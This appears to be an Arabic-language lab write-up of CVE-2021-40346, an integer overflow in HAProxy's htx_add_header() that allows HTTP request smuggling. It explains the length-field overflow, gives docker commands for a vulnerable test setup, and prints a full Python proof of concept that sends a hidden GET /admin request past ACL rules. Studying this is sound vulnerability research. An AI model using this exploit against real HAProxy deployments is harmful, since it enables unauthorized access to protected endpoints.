
تحليل WHS CVE-2021-40346
htx_add_header() التي يخزن بها HAProxy رؤوس HTTP بتنسيق HTX الداخلي، حيث لا يتم التحقق من طول اسم الرأس (Header Name)http-request في الواجهة الأمامية (مثل: path_beg /admin) — فهذه القاعدة هي هدف التجاوزعند تخزين HAProxy لرؤوس HTTP بتنسيق HTX الداخلي، يسجّل طول اسم الرأس في حقل من 8 بتات (بحد أقصى 255). تفتقر الدالة htx_add_header() إلى منطق للتحقق من هذا الطول، لذا فإن إرسال اسم يتجاوز 256 بايت يسبب تجاوز عدد صحيح (integer overflow) وتتسرّب البتات الفائضة إلى حقل طول القيمة المجاور.
إذا جُعل طول اسم الرأس 270 بايت بالضبط (270 mod 256 = 14)، فإن HAProxy يظنه «Content-Length» (14 حرفًا) ويقرأ البايت الواحد الذي لوّثه التجاوز كقيمة. ووضع «0» في هذا الموضع يُنتج رأس Content-Length: 0 مزوّرًا.
وإذا أُرسل رأس Content-Length حقيقي بعد هذا الرأس المزوّر، فإن HAProxy يعتمد على أول رأس مكرر (المزوّر بقيمة 0) ويتجاهل القيمة الحقيقية. في هذه الأثناء، تستمر عملية قراءة النص الفعلي من العميل بالعمل بشكل سليم وفق النص الأصلي، لكن الرأس المُمرَّر إلى الخلفية يحمل القيمة المزوّرة (0)، مما يؤدي إلى تناقض بين «حجم النص المستلَم فعليًا» و«الحجم المُبلَّغ به إلى الخلفية».
يثق الخادم الخلفي بالقيمة المُبلَّغة (0) ويستنتج أن الطلب قد انتهى، ثم يعيد تفسير البيانات التي كانت نصًا للطلب الأصلي باعتبارها طلبًا جديدًا كليًا. ولأن فحص ACL في HAProxy يسبق ذلك ولا يشمل سوى سطر الطلب الأول، فإن الطلب الثاني المُخفى يصل إلى الخلفية دون أن يخضع للفحص. ونتيجة لذلك، يتم تجاوز جميع قواعد ACL من نوع http-request المكوّنة.
شغّل docker compose up --build -d لتشغيل بيئة الاختبار الهشة (haproxy ver.2.2.16 / backend: gunicorn)
اختبر تفعيل HAProxy والخادم الخلفي عبر الكود التالي
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
نفّذ كود الإثبات python3 poc.py --host 127.0.0.1 --port 8080
تحقق من سجلات اتصال الخادم الخلفي عبر docker logs cve-2021-40346-backend --tail 5 لمعرفة ما إذا كان طلب /admin قد عُولج فعلًا
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
كما هو موضح أعلاه، تتم معالجة طلب GET الموجه إلى admin المحظور الوصول إليه في الخادم الخلفي
htx_add_header())